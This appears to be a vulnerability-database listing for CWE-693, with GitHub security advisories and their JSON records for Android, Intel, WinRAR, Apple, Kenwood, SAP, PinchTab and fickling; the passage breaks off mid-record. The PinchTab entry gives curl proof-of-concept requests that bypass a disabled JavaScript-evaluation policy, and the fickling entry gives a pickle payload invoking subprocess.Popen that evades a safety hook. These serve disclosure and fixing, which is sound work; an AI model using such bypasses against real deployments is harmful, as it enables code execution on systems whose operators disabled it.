CWE-693
DiscouragedProtection Mechanism Failure
Abstraction: Pillar · Status: Draft
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
976 vulnerabilities reference this CWE, most recent first.
GHSA-W57C-V5JC-4HCH
Vulnerability from github – Published: 2026-06-02 00:31 – Updated: 2026-06-02 15:32In approvalLevelForDomainInternal of DomainVerificationService.java, there is a possible way to hijack an arbitrary app link due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2026-0087"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-01T22:16:22Z",
"severity": "HIGH"
},
"details": "In approvalLevelForDomainInternal of DomainVerificationService.java, there is a possible way to hijack an arbitrary app link due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-w57c-v5jc-4hch",
"modified": "2026-06-02T15:32:02Z",
"published": "2026-06-02T00:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0087"
},
{
"type": "WEB",
"url": "https://source.android.com/docs/security/bulletin/2026/2026-06-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W5PC-M664-R62V
Vulnerability from github – Published: 2026-03-24 19:43 – Updated: 2026-03-27 21:19Summary
PinchTab v0.8.3 through v0.8.5 allow arbitrary JavaScript execution through POST /wait and POST /tabs/{id}/wait when the request uses fn mode, even if security.allowEvaluate is disabled.
POST /evaluate correctly enforces the security.allowEvaluate guard, which is disabled by default. However, in the affected releases, POST /wait accepted a user-controlled fn expression, embedded it directly into executable JavaScript, and evaluated it in the browser context without checking the same policy.
This is a security-policy bypass rather than a separate authentication bypass. Exploitation still requires authenticated API access, but a caller with the server token can execute arbitrary JavaScript in a tab context even when the operator explicitly disabled JavaScript evaluation.
The current worktree fixes this by applying the same policy boundary to fn mode in /wait that already exists on /evaluate, while preserving the non-code wait modes.
Details
Issue 1 — /evaluate enforced the guard, /wait did not (v0.8.3 through v0.8.5):
The dedicated evaluate endpoint rejected requests when security.allowEvaluate was disabled:
// internal/handlers/evaluate.go — v0.8.5
func (h *Handlers) evaluateEnabled() bool {
return h != nil && h.Config != nil && h.Config.AllowEvaluate
}
func (h *Handlers) HandleEvaluate(w http.ResponseWriter, r *http.Request) {
if !h.evaluateEnabled() {
httpx.ErrorCode(w, 403, "evaluate_disabled", httpx.DisabledEndpointMessage("evaluate", "security.allowEvaluate"), false, map[string]any{
"setting": "security.allowEvaluate",
})
return
}
// ...
}
In the same releases, /wait did not apply that guard before evaluating fn:
// internal/handlers/wait.go — v0.8.5 (vulnerable)
func (h *Handlers) handleWaitCore(w http.ResponseWriter, r *http.Request, req waitRequest) {
mode := req.mode()
if mode == "" {
httpx.Error(w, 400, fmt.Errorf("one of selector, text, url, load, fn, or ms is required"))
return
}
// No evaluateEnabled() check here in affected releases
// ...
}
Issue 2 — fn mode evaluated caller-supplied JavaScript directly:
The fn branch built executable JavaScript from the request field and passed it to chromedp.Evaluate:
// internal/handlers/wait.go — v0.8.5 (vulnerable)
case "fn":
js = fmt.Sprintf(`!!(function(){try{return %s}catch(e){return false}})()`, req.Fn)
matchLabel = "fn"
// Poll loop
evalErr := chromedp.Run(tCtx, chromedp.Evaluate(js, &result))
Because req.Fn was interpolated directly into evaluated JavaScript, a caller could supply expressions with side effects, not just passive predicates.
Issue 3 — Current worktree contains an unreleased fix:
The current worktree closes this gap by making fn mode in /wait respect the same security.allowEvaluate policy boundary that /evaluate already enforced. The underlying non-code wait modes remain available.
PoC
Prerequisites
- PinchTab
v0.8.3,v0.8.4, orv0.8.5 - A configured API token
security.allowEvaluate = false- A reachable tab context, created by the caller or already present
Step 1 — Confirm /evaluate is blocked by policy
curl -s -X POST http://localhost:9867/evaluate \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{"expression":"1+1"}'
Expected:
{
"code": "evaluate_disabled"
}
Step 2 — Open a tab
curl -s -X POST http://localhost:9867/navigate \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{"url":"https://example.com"}'
Example result:
{
"tabId": "<TAB_ID>",
"title": "Example Domain",
"url": "https://example.com/"
}
Step 3 — Execute JavaScript through /wait using fn mode
curl -s -X POST http://localhost:9867/wait \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"tabId":"<TAB_ID>",
"fn":"(function(){window._poc_executed=true;return true})()",
"timeout":5000
}'
Example result:
{
"waited": true,
"elapsed": 1,
"match": "fn"
}
Step 4 — Verify the side effect
curl -s -X POST http://localhost:9867/wait \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"tabId":"<TAB_ID>",
"fn":"window._poc_executed === true",
"timeout":3000
}'
Example result:
{
"waited": true,
"elapsed": 0,
"match": "fn"
}
Observation
1. /evaluate returns evaluate_disabled when security.allowEvaluate is off.
2. /wait still evaluates caller-supplied JavaScript through fn mode in the affected releases.
3. The first /wait request introduces a side effect in page state.
4. The second /wait request confirms that the side effect occurred, demonstrating arbitrary JavaScript execution despite the disabled evaluate policy.
Impact
- Bypass of the explicit
security.allowEvaluatecontrol inv0.8.3throughv0.8.5. - Arbitrary JavaScript execution in the reachable browser tab context for callers who already possess the server API token.
- Ability to read or modify page state and act within authenticated browser sessions available to that tab context.
- Inconsistent security boundaries between
/evaluateand/wait, making the configured execution policy unreliable. - This is not an unauthenticated issue. Practical risk depends on who can access the API and whether the deployment exposes tabs containing sensitive authenticated state.
Suggested Remediation
- Make
fnmode in/waitenforce the same policy check as/evaluate. - Keep non-code wait modes available when JavaScript evaluation is disabled.
- Add regression coverage so the policy boundary remains consistent across endpoints.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/pinchtab/pinchtab/cmd/pinchtab"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.3"
},
{
"last_affected": "0.8.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/pinchtab/pinchtab"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33622"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-693",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-24T19:43:30Z",
"nvd_published_at": "2026-03-26T21:17:06Z",
"severity": "MODERATE"
},
"details": "### Summary\nPinchTab `v0.8.3` through `v0.8.5` allow arbitrary JavaScript execution through `POST /wait` and `POST /tabs/{id}/wait` when the request uses `fn` mode, even if `security.allowEvaluate` is disabled.\n\n`POST /evaluate` correctly enforces the `security.allowEvaluate` guard, which is disabled by default. However, in the affected releases, `POST /wait` accepted a user-controlled `fn` expression, embedded it directly into executable JavaScript, and evaluated it in the browser context without checking the same policy.\n\nThis is a security-policy bypass rather than a separate authentication bypass. Exploitation still requires authenticated API access, but a caller with the server token can execute arbitrary JavaScript in a tab context even when the operator explicitly disabled JavaScript evaluation.\n\nThe current worktree fixes this by applying the same policy boundary to `fn` mode in `/wait` that already exists on `/evaluate`, while preserving the non-code wait modes.\n\n### Details\n**Issue 1 \u2014 `/evaluate` enforced the guard, `/wait` did not (`v0.8.3` through `v0.8.5`):**\nThe dedicated evaluate endpoint rejected requests when `security.allowEvaluate` was disabled:\n\n```go\n// internal/handlers/evaluate.go \u2014 v0.8.5\nfunc (h *Handlers) evaluateEnabled() bool {\n return h != nil \u0026\u0026 h.Config != nil \u0026\u0026 h.Config.AllowEvaluate\n}\n\nfunc (h *Handlers) HandleEvaluate(w http.ResponseWriter, r *http.Request) {\n if !h.evaluateEnabled() {\n httpx.ErrorCode(w, 403, \"evaluate_disabled\", httpx.DisabledEndpointMessage(\"evaluate\", \"security.allowEvaluate\"), false, map[string]any{\n \"setting\": \"security.allowEvaluate\",\n })\n return\n }\n // ...\n}\n```\n\nIn the same releases, `/wait` did not apply that guard before evaluating `fn`:\n\n```go\n// internal/handlers/wait.go \u2014 v0.8.5 (vulnerable)\nfunc (h *Handlers) handleWaitCore(w http.ResponseWriter, r *http.Request, req waitRequest) {\n mode := req.mode()\n if mode == \"\" {\n httpx.Error(w, 400, fmt.Errorf(\"one of selector, text, url, load, fn, or ms is required\"))\n return\n }\n\n // No evaluateEnabled() check here in affected releases\n // ...\n}\n```\n\n**Issue 2 \u2014 `fn` mode evaluated caller-supplied JavaScript directly:**\nThe `fn` branch built executable JavaScript from the request field and passed it to `chromedp.Evaluate`:\n\n```go\n// internal/handlers/wait.go \u2014 v0.8.5 (vulnerable)\ncase \"fn\":\n js = fmt.Sprintf(`!!(function(){try{return %s}catch(e){return false}})()`, req.Fn)\n matchLabel = \"fn\"\n\n// Poll loop\nevalErr := chromedp.Run(tCtx, chromedp.Evaluate(js, \u0026result))\n```\n\nBecause `req.Fn` was interpolated directly into evaluated JavaScript, a caller could supply expressions with side effects, not just passive predicates.\n\n**Issue 3 \u2014 Current worktree contains an unreleased fix:**\nThe current worktree closes this gap by making `fn` mode in `/wait` respect the same `security.allowEvaluate` policy boundary that `/evaluate` already enforced. The underlying non-code wait modes remain available.\n\n### PoC\n**Prerequisites**\n\n- PinchTab `v0.8.3`, `v0.8.4`, or `v0.8.5`\n- A configured API token\n- `security.allowEvaluate = false`\n- A reachable tab context, created by the caller or already present\n\n**Step 1 \u2014 Confirm `/evaluate` is blocked by policy**\n\n```bash\ncurl -s -X POST http://localhost:9867/evaluate \\\n -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"expression\":\"1+1\"}\u0027\n```\n\nExpected:\n\n```json\n{\n \"code\": \"evaluate_disabled\"\n}\n```\n\n**Step 2 \u2014 Open a tab**\n\n```bash\ncurl -s -X POST http://localhost:9867/navigate \\\n -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"url\":\"https://example.com\"}\u0027\n```\n\nExample result:\n\n```json\n{\n \"tabId\": \"\u003cTAB_ID\u003e\",\n \"title\": \"Example Domain\",\n \"url\": \"https://example.com/\"\n}\n```\n\n**Step 3 \u2014 Execute JavaScript through `/wait` using `fn` mode**\n\n```bash\ncurl -s -X POST http://localhost:9867/wait \\\n -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"tabId\":\"\u003cTAB_ID\u003e\",\n \"fn\":\"(function(){window._poc_executed=true;return true})()\",\n \"timeout\":5000\n }\u0027\n```\n\nExample result:\n\n```json\n{\n \"waited\": true,\n \"elapsed\": 1,\n \"match\": \"fn\"\n}\n```\n\n**Step 4 \u2014 Verify the side effect**\n\n```bash\ncurl -s -X POST http://localhost:9867/wait \\\n -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"tabId\":\"\u003cTAB_ID\u003e\",\n \"fn\":\"window._poc_executed === true\",\n \"timeout\":3000\n }\u0027\n```\n\nExample result:\n\n```json\n{\n \"waited\": true,\n \"elapsed\": 0,\n \"match\": \"fn\"\n}\n```\n\n**Observation**\n1. `/evaluate` returns `evaluate_disabled` when `security.allowEvaluate` is off.\n2. `/wait` still evaluates caller-supplied JavaScript through `fn` mode in the affected releases.\n3. The first `/wait` request introduces a side effect in page state.\n4. The second `/wait` request confirms that the side effect occurred, demonstrating arbitrary JavaScript execution despite the disabled evaluate policy.\n\n### Impact\n1. Bypass of the explicit `security.allowEvaluate` control in `v0.8.3` through `v0.8.5`.\n2. Arbitrary JavaScript execution in the reachable browser tab context for callers who already possess the server API token.\n3. Ability to read or modify page state and act within authenticated browser sessions available to that tab context.\n4. Inconsistent security boundaries between `/evaluate` and `/wait`, making the configured execution policy unreliable.\n5. This is not an unauthenticated issue. Practical risk depends on who can access the API and whether the deployment exposes tabs containing sensitive authenticated state.\n\n### Suggested Remediation\n1. Make `fn` mode in `/wait` enforce the same policy check as `/evaluate`.\n2. Keep non-code wait modes available when JavaScript evaluation is disabled.\n3. Add regression coverage so the policy boundary remains consistent across endpoints.",
"id": "GHSA-w5pc-m664-r62v",
"modified": "2026-03-27T21:19:00Z",
"published": "2026-03-24T19:43:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pinchtab/pinchtab/security/advisories/GHSA-w5pc-m664-r62v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33622"
},
{
"type": "PACKAGE",
"url": "https://github.com/pinchtab/pinchtab"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "A PinchTab Security Policy Bypass in /wait Allows Arbitrary JavaScript Execution"
}
GHSA-W5QF-7XGV-GGV8
Vulnerability from github – Published: 2024-08-14 15:31 – Updated: 2024-08-14 15:31Protection mechanism failure in some 3rd, 4th, and 5th Generation Intel(R) Xeon(R) Processors may allow a privileged user to potentially enable escalation of privilege via local access.
{
"affected": [],
"aliases": [
"CVE-2024-24980"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-14T14:15:22Z",
"severity": "MODERATE"
},
"details": "Protection mechanism failure in some 3rd, 4th, and 5th Generation Intel(R) Xeon(R) Processors may allow a privileged user to potentially enable escalation of privilege via local access.",
"id": "GHSA-w5qf-7xgv-ggv8",
"modified": "2024-08-14T15:31:15Z",
"published": "2024-08-14T15:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24980"
},
{
"type": "WEB",
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01100.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:L/VI:H/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W6G9-7V5H-XV4X
Vulnerability from github – Published: 2022-12-21 00:30 – Updated: 2022-12-21 00:30In various functions of ap_input_processor.c, there is a possible way to record audio during a phone call due to a logic error in the code. This could lead to local information disclosure with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-231630423References: N/A
{
"affected": [],
"aliases": [
"CVE-2022-20562"
],
"database_specific": {
"cwe_ids": [
"CWE-668",
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-16T16:15:00Z",
"severity": "LOW"
},
"details": "In various functions of ap_input_processor.c, there is a possible way to record audio during a phone call due to a logic error in the code. This could lead to local information disclosure with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-231630423References: N/A",
"id": "GHSA-w6g9-7v5h-xv4x",
"modified": "2022-12-21T00:30:29Z",
"published": "2022-12-21T00:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20562"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/pixel/2022-12-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W74V-5F39-6XGQ
Vulnerability from github – Published: 2024-04-02 21:30 – Updated: 2024-04-02 21:30RARLAB WinRAR Mark-Of-The-Web Bypass Vulnerability. This vulnerability allows remote attackers to bypass the Mark-Of-The-Web protection mechanism on affected installations of RARLAB WinRAR. User interaction is required to exploit this vulnerability in that the target must perform a specific action on a malicious page.
The specific flaw exists within the archive extraction functionality. A crafted archive entry can cause the creation of an arbitrary file without the Mark-Of-The-Web. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the current user. Was ZDI-CAN-23156.
{
"affected": [],
"aliases": [
"CVE-2024-30370"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-02T21:15:50Z",
"severity": "MODERATE"
},
"details": "RARLAB WinRAR Mark-Of-The-Web Bypass Vulnerability. This vulnerability allows remote attackers to bypass the Mark-Of-The-Web protection mechanism on affected installations of RARLAB WinRAR. User interaction is required to exploit this vulnerability in that the target must perform a specific action on a malicious page.\n\nThe specific flaw exists within the archive extraction functionality. A crafted archive entry can cause the creation of an arbitrary file without the Mark-Of-The-Web. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the current user. Was ZDI-CAN-23156.",
"id": "GHSA-w74v-5f39-6xgq",
"modified": "2024-04-02T21:30:31Z",
"published": "2024-04-02T21:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30370"
},
{
"type": "WEB",
"url": "https://www.rarlab.com/rarnew.htm#27.%20Busgs%20fixed"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-24-357"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W9QH-3C3H-MC7X
Vulnerability from github – Published: 2026-03-25 03:31 – Updated: 2026-03-25 21:30This issue was addressed through improved state management. This issue is fixed in Safari 26.4, iOS 18.7.7 and iPadOS 18.7.7, iOS 26.4 and iPadOS 26.4, macOS Tahoe 26.4, tvOS 26.4, visionOS 26.4, watchOS 26.4. Processing maliciously crafted web content may prevent Content Security Policy from being enforced.
{
"affected": [],
"aliases": [
"CVE-2026-20665"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-25T01:17:05Z",
"severity": "MODERATE"
},
"details": "This issue was addressed through improved state management. This issue is fixed in Safari 26.4, iOS 18.7.7 and iPadOS 18.7.7, iOS 26.4 and iPadOS 26.4, macOS Tahoe 26.4, tvOS 26.4, visionOS 26.4, watchOS 26.4. Processing maliciously crafted web content may prevent Content Security Policy from being enforced.",
"id": "GHSA-w9qh-3c3h-mc7x",
"modified": "2026-03-25T21:30:28Z",
"published": "2026-03-25T03:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20665"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126792"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126793"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126794"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126797"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126798"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126799"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126800"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-WC9H-GMQM-V3V8
Vulnerability from github – Published: 2025-08-06 03:30 – Updated: 2025-08-06 03:30Kenwood DMX958XR Protection Mechanism Failure Software Downgrade Vulnerability. This vulnerability allows physically present attackers to downgrade software on affected installations of Kenwood DMX958XR devices. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the libSystemLib library. The issue results from the lack of proper validation of version information before performing an update. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of root. Was ZDI-CAN-26355.
{
"affected": [],
"aliases": [
"CVE-2025-8656"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-06T02:15:54Z",
"severity": "MODERATE"
},
"details": "Kenwood DMX958XR Protection Mechanism Failure Software Downgrade Vulnerability. This vulnerability allows physically present attackers to downgrade software on affected installations of Kenwood DMX958XR devices. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the libSystemLib library. The issue results from the lack of proper validation of version information before performing an update. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of root. Was ZDI-CAN-26355.",
"id": "GHSA-wc9h-gmqm-v3v8",
"modified": "2025-08-06T03:30:27Z",
"published": "2025-08-06T03:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8656"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-804"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WCCX-J62J-R448
Vulnerability from github – Published: 2026-03-04 21:30 – Updated: 2026-03-04 21:30Assessment
The missing pickle entrypoints pickle.loads, _pickle.loads, and _pickle.load were added to the hook https://github.com/trailofbits/fickling/commit/8c24c6edabceab156cfd41f4d70b650e1cdad1f7.
Original report
Summary
fickling.always_check_safety() does not hook all pickle entry points. pickle.loads, _pickle.loads, and _pickle.load remain unprotected, enabling malicious payload execution despite global safety mode being enabled.
Affected versions
<= 0.1.8 (verified on current upstream HEAD as of 2026-03-03)
Non-duplication check against published Fickling GHSAs
No published advisory covers hook-coverage bypass in run_hook().
Existing advisories are blocklist/detection bypasses (runpy, pty, cProfile, marshal/types, builtins, network constructors, OBJ visibility, etc.), not runtime hook coverage parity.
Root cause
run_hook() patches only:
- pickle.load
- pickle.Unpickler
- _pickle.Unpickler
It does not patch:
- pickle.loads
- _pickle.load
- _pickle.loads
Reproduction (clean upstream)
import io, pickle, _pickle
from unittest.mock import patch
import fickling
from fickling.exception import UnsafeFileError
class Payload:
def __reduce__(self):
import subprocess
return (subprocess.Popen, (['echo','BYPASS'],))
data = pickle.dumps(Payload())
fickling.always_check_safety()
# Bypass path
with patch('subprocess.Popen') as popen_mock:
pickle.loads(data)
print('bypass sink called?', popen_mock.called) # True
# Control path is blocked
with patch('subprocess.Popen') as popen_mock:
try:
pickle.load(io.BytesIO(data))
except UnsafeFileError:
pass
print('blocked sink called?', popen_mock.called) # False
Observed on vulnerable code:
- pickle.loads executes payload
- pickle.load is blocked
Minimal patch diff
--- a/fickling/hook.py
+++ b/fickling/hook.py
@@
def run_hook():
- pickle.load = loader.load
+ pickle.load = loader.load
+ _pickle.load = loader.load
+ pickle.loads = loader.loads
+ _pickle.loads = loader.loads
Validation after patch
pickle.loads,_pickle.loads, and_pickle.loadall raiseUnsafeFileError- sink not called in any path
Regression tests added locally:
- test_run_hook_blocks_pickle_loads
- test_run_hook_blocks__pickle_load_and_loads
in test/test_security_regressions_20260303.py
Impact
High-confidence runtime protection bypass for applications that trust always_check_safety() as global guard.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.8"
},
"package": {
"ecosystem": "PyPI",
"name": "fickling"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T21:30:16Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Assessment\n\nThe missing pickle entrypoints `pickle.loads`, `_pickle.loads`, and `_pickle.load` were added to the hook https://github.com/trailofbits/fickling/commit/8c24c6edabceab156cfd41f4d70b650e1cdad1f7.\n\n# Original report\n\n## Summary\n`fickling.always_check_safety()` does not hook all pickle entry points. `pickle.loads`, `_pickle.loads`, and `_pickle.load` remain unprotected, enabling malicious payload execution despite global safety mode being enabled.\n\n## Affected versions\n`\u003c= 0.1.8` (verified on current upstream HEAD as of 2026-03-03)\n\n## Non-duplication check against published Fickling GHSAs\nNo published advisory covers hook-coverage bypass in `run_hook()`.\nExisting advisories are blocklist/detection bypasses (runpy, pty, cProfile, marshal/types, builtins, network constructors, OBJ visibility, etc.), not runtime hook coverage parity.\n\n## Root cause\n`run_hook()` patches only:\n- `pickle.load`\n- `pickle.Unpickler`\n- `_pickle.Unpickler`\n\nIt does not patch:\n- `pickle.loads`\n- `_pickle.load`\n- `_pickle.loads`\n\n## Reproduction (clean upstream)\n```python\nimport io, pickle, _pickle\nfrom unittest.mock import patch\nimport fickling\nfrom fickling.exception import UnsafeFileError\n\nclass Payload:\n def __reduce__(self):\n import subprocess\n return (subprocess.Popen, ([\u0027echo\u0027,\u0027BYPASS\u0027],))\n\ndata = pickle.dumps(Payload())\nfickling.always_check_safety()\n\n# Bypass path\nwith patch(\u0027subprocess.Popen\u0027) as popen_mock:\n pickle.loads(data)\n print(\u0027bypass sink called?\u0027, popen_mock.called) # True\n\n# Control path is blocked\nwith patch(\u0027subprocess.Popen\u0027) as popen_mock:\n try:\n pickle.load(io.BytesIO(data))\n except UnsafeFileError:\n pass\n print(\u0027blocked sink called?\u0027, popen_mock.called) # False\n```\n\nObserved on vulnerable code:\n- `pickle.loads` executes payload\n- `pickle.load` is blocked\n\n## Minimal patch diff\n```diff\n--- a/fickling/hook.py\n+++ b/fickling/hook.py\n@@\n def run_hook():\n- pickle.load = loader.load\n+ pickle.load = loader.load\n+ _pickle.load = loader.load\n+ pickle.loads = loader.loads\n+ _pickle.loads = loader.loads\n```\n\n## Validation after patch\n- `pickle.loads`, `_pickle.loads`, and `_pickle.load` all raise `UnsafeFileError`\n- sink not called in any path\n\nRegression tests added locally:\n- `test_run_hook_blocks_pickle_loads`\n- `test_run_hook_blocks__pickle_load_and_loads`\n in `test/test_security_regressions_20260303.py`\n\n## Impact\nHigh-confidence runtime protection bypass for applications that trust `always_check_safety()` as global guard.",
"id": "GHSA-wccx-j62j-r448",
"modified": "2026-03-04T21:30:16Z",
"published": "2026-03-04T21:30:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-wccx-j62j-r448"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/commit/8c24c6edabceab156cfd41f4d70b650e1cdad1f7"
},
{
"type": "PACKAGE",
"url": "https://github.com/trailofbits/fickling"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Fickling has `always_check_safety()` bypass: pickle.loads and _pickle.loads remain unhooked"
}
GHSA-WCW7-26P5-FFXV
Vulnerability from github – Published: 2024-07-09 06:30 – Updated: 2024-07-09 06:30Due to a Protection Mechanism Failure in SAP NetWeaver Application Server for ABAP and ABAP Platform, a developer can bypass the configured malware scanner API because of a programming error. This leads to a low impact on the application's confidentiality, integrity, and availability.
{
"affected": [],
"aliases": [
"CVE-2024-39599"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-09T05:15:12Z",
"severity": "MODERATE"
},
"details": "Due to a Protection Mechanism Failure in SAP\nNetWeaver Application Server for ABAP and ABAP Platform, a developer can bypass\nthe configured malware scanner API because of a programming error. This leads\nto a low impact on the application\u0027s confidentiality, integrity, and\navailability.",
"id": "GHSA-wcw7-26p5-ffxv",
"modified": "2024-07-09T06:30:40Z",
"published": "2024-07-09T06:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39599"
},
{
"type": "WEB",
"url": "https://me.sap.com/notes/3456952"
},
{
"type": "WEB",
"url": "https://url.sap/sapsecuritypatchday"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-WFF9-XM82-6WP2
Vulnerability from github – Published: 2022-09-25 00:00 – Updated: 2022-09-28 00:00This issue was addressed with improved checks. This issue is fixed in watchOS 8.7, iOS 15.6 and iPadOS 15.6, macOS Monterey 12.5. An app may be able to break out of its sandbox.
{
"affected": [],
"aliases": [
"CVE-2022-32845"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-23T19:15:00Z",
"severity": "CRITICAL"
},
"details": "This issue was addressed with improved checks. This issue is fixed in watchOS 8.7, iOS 15.6 and iPadOS 15.6, macOS Monterey 12.5. An app may be able to break out of its sandbox.",
"id": "GHSA-wff9-xm82-6wp2",
"modified": "2022-09-28T00:00:21Z",
"published": "2022-09-25T00:00:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32845"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213340"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213345"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213346"
